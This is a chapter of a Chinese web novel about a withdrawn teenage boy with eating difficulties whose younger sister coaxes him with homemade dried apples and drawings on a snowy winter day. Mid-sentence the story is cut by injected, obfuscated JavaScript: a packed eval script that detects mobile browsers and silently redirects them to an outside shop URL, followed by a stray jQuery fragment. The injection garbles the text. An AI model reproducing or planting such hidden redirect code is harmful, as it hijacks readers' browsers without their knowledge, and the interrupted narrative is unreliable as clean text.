陈最在画线轴。
在草稿纸的空白处，用黑色中性笔一遍又一遍地描绘弧线，每一笔都干净利落，像用尺子量过。
但只有他自己知道，笔尖压下去的力道有多重，几乎要穿透纸背。
每当胃里那股熟悉的、空洞的灼烧感升起，或是脑海里某些不愿回想的碎片开始翻腾，他就画一笔。
“哥。”
声音很轻，从桌子对面传来。
陈最的笔尖一顿，一条原本应该平滑的弧线突兀地打了个结。
他没抬头，继续画，试图修正那个错误，但线条已经乱了。
“什么事。”声音平板，听不出情绪。
黎青推过来一本习题册，手指点在最后那道题上。
“这个辅助线……应该添在哪里？”
最近两天黎青一直拉陈最在客厅写作业，理由是这样开一个空调就够了。
实际上他明白，黎青怕他饿晕在房间里没人知道。
黎青趴在房门口软磨硬泡，陈最本装死不理，结果黎青突然在门口嚷着跟他一起不吃饭。
那天中午，他俩真的都没吃饭。到了晚上，听黎青在门外哀嚎好饿嚎了半夜，他终于绷着脸出来了。
之后到现在，每天都被强制拉到客厅待着，写写题看看书，喝口柠檬水，有时看黎青吃饭，或者发呆。
陈最扫了眼题，很眼熟，他高一也错过。
他接过笔，在图上画了两条虚线。
“这里，和这里。”他说，声音依然没什么起伏，“连接这两个点，用这个公式。”
黎青低头看题，睫毛在眼睑下投出浅浅的阴影。她看了很久，久到陈最以为她没听懂，准备再解释一遍时，她忽然抬起头。
“晚饭吃面条吧？”
陈最一怔。
浅灰色的毛衣袖口磨蹭着纸张，她的左手放在桌下，不知跟谁学的，开始把作业放到腿上写。
“嗯。”他最终只应了一声，收回视线，拿出一张空白草稿纸。
他重新画了图，依照刚才的思路，添加辅助线。一条，两条，三条……横平竖直，将圆形空间分割成规整的区块。
他喜欢数学，喜欢物理。世界被简化成坐标和公式，情绪被压缩成数字，一切都变得可控，可定义，可……囚禁。
等他回过神，发现黎青也在做同样的事。她没再纠结那道题，而是在自己的草稿本上，画了一个又一个不规则的图形，都是她喜欢的东西。
灰兔子、加了奶油的松饼、漂亮的裙子，还有几个简笔画小人。
她的笔触很轻，线画得远不如陈最的规整。但她画得很认真，眉心微蹙，嘴唇抿成一条线。
陈最看了一会儿，移开目光。
窗外光秃秃的枝桠划破铅灰色的天空，家里只有翻书的沙沙声。
他的胃又开始隐隐作痛。
“给。”
玻璃罐被推到桌子中央，里面是四五片淡黄色的东西。
“苹果干，”黎青声音压得很低，几乎只是气音，“我自己烤的，不甜，没加糖。”
陈最盯着那袋苹果干，苹果片烤得卷曲，边缘微焦，能看见果肉纤维的纹路。
“医生说，你可以吃点不一样的东西。”黎青补充道。
他没想到黎青会去看这个。
“我不饿。”他说，语气硬得像屋檐下的冰锥。
“嗯。”黎青应了一声，没有收回，也没有再劝，把玻璃罐往他那边又推了推，然后继续低头画图。
接不接受，是陈最的自由，她不干涉。
陈最的视线回到那罐苹果干上，透明的罐子，里面的东西一览无余。干燥，洁净，没有令人不悦的油腻或粘连。
他伸出手，指尖碰到冰凉的玻璃罐。
犹豫几秒，他打开罐子。
极淡的、被烘烤浓缩后的苹果香气飘出来，混合着一丝焦糖化的微苦。他捏出一片，很薄，很轻，在指尖几乎感觉不到重量。
极其轻微的一声脆响，黎青沉迷于画图没有听见，但在他自己的听觉里，异常清晰。
确实不甜，只有苹果自身那一点几乎被烘烤殆尽的酸味，和焦化边缘带来的一丝极其微弱的苦。
没有反胃。
没有立刻想吐出来的冲动。
陈最缓慢地咀嚼，让那些碎屑在口腔里慢慢软化。吞咽的时候，喉结滚动了一下，有点干涩。
一片吃完，他停顿片刻。
胃里没有任何不适，那股灼烧似乎淡去了一点点。
他把玻璃罐放回桌子中央。
“谢谢。”他说。
黎青摇了摇头，嘴角似乎弯了一下，很浅。
陈最也重新拿起笔。
他在新的题目上开始标坐标，随机的数字，毫无规律，根本没有按照题目来。
描到第n个点的时候，他停了下来。
这些点散落在坐标系里，孤零零的，彼此之间没有任何联系。
他盯着那些点看了一会儿，开始将它们连接起来。从这个点到那个点，再到下一个点……线条交错，逐渐形成一个不规则的图形，像一个歪扭的、破碎的星座。
画完最后一笔，他放下笔。
那个图形丑极了，不对称，不协调，毫无美感可言。
他强迫这些坐标有联系，然后呢？他要做什么？这些坐标有什么用？
陈最忽然感到一阵极深的疲惫。一直紧绷的某根弦，在这一刻，轻微地松了一下。
他靠在椅背上，闭上眼睛。
“哥。”黎青的声音再次响起。
陈最睁开眼，一本画满图案的草稿纸转过来，推到他面前。
那些歪歪扭扭的图案下方，用铅笔画了一个简笔的橙子，还有一个梨。
是那种儿童画里的形状，橙子圆圆的，带一片绿叶子，甚至还有个笨拙的笑脸。梨上面的笑脸更大，看着更讨人喜欢。
陈最看着那个格格不入的、带着笑脸的橙子，看了很久。
“哥？不可爱吗？”黎青想把草稿纸拿回来，却没抽出来。
她疑惑地望向力量的另一端。
话烫嘴似的，陈最说得费力：“我想要。”
黎青没想到，露出了惊愕的表情。
“……什么意思？给不给？”
“啊你拿去吧。”黎青挠挠头发，早说这么简单就行，她就不费心思织围巾了。
陈最抚平纸上的褶皱，夹进了数学书里。
“去不去奶奶那里吃饭？奶奶说今晚是排骨面。”
云层压得更低，可能又要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907420|190114||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下雪了。门一开，冷风立刻灌进来，带着冬天特有的、干燥锋利的气息。
陈最把外套拉链拉到顶，手指冻得有些僵硬，刚醒提醒黎青，发现她已经把自己裹进宽大的羽绒服里，连同脑袋恨不得都缩进去，像个毛球。
“球”向他招手：“哥！你多穿点！冷！”
“……知道了。”
他们沿着林荫道慢慢走。干枯的枝桠在头顶交错，脚步声一轻一重，偶尔同步，很快又错开。
“那个苹果干，麻烦吗？”
“不麻烦。”黎青说。
沉默重新降临，陈最耳边剩下风声，和黎青缓慢轻飘的脚步。
他们随着人流走过斑马线，拐进熟悉的小区居民楼，在不远处升起烟雾的地方，老奶奶等待他们的到来。
“下次，”他说，声音不大，但黎青肯定听见了，“可以甜一点。”
黎青的脚步顿了一下：“哥我一个人做吗？”
“嗯，”陈最已经看见老奶奶的身影了，拽着黎青往前走，“叫我。”
那声“嗯”里，似乎有某种东西落地了。
面条陈最依旧吃不下，老奶奶还以为是做得不好吃，非要重新做一碗。
他抗拒不了，勉强吃了两口清水面，忍住了想吐的感觉。
黎青爱吃老奶奶特制的小汤圆，今天也是，吃了两碗才满足。
有时陈最会羡慕，可他也说不清，是羡慕什么。
上一次露出这样的表情……好像还是跟黎青一起去买菜，做饭的过程一点都不痛苦。
过了这么久，他才明白这个情绪叫做满足。
*
回到家，空荡安静。玄关的灯照亮地板，父母的拖鞋摆在鞋柜里，落上薄灰。
陈最走了几步，突然停下来：“黎青。”
黎青正抱着空空的玻璃罐，抬起头。
“明天，做苹果干吗？”
苹果干的味道比想象中持久，香气在他们之间流窜，黎青猛吸了一口，重重点点头。
草稿纸摆在桌上，上面的橙子和梨都对陈最笑着。他看了很久，觉得中间的距离有点远。
他拉开抽屉，把纸放进去。抽屉很空，只有几张过去的试卷，一张照片，和一本翻阅过很多次、妈妈留下来的书。
现在，多了一张纸。
房间有点突兀，陈最环视一圈，发现自己忘拉窗帘了。
昨天出太阳了，黎青非要他拉开窗帘晒晒，然后擅自帮他拉开了。
晚上，他鬼使神差地没有拉上，直到今天还是敞开的。
走到窗边，外面果然开始下雪了。细小的雪粒斜斜地打在玻璃上，远处城市的灯火在雪幕中晕染开，变成一片模糊的光晕。
原来藏在窗帘的外面，四季是这般光景。
纸上那个带着僵硬笑脸的橙子浮现在眼前，他忍不住抬手，在玻璃窗上画了一个笑脸。
元旦联欢会的晚上，他也是这样，鬼迷心窍般在玻璃窗上留下了别怕两个字。
闭上眼睛前，他想起明天。
也许可以再试一片苹果干。
也许可以解开今晚没解出的难题。
或者什么都不做，只是坐在那里，看着窗外的雪，和对面安静画画的妹妹。
雪，还在下。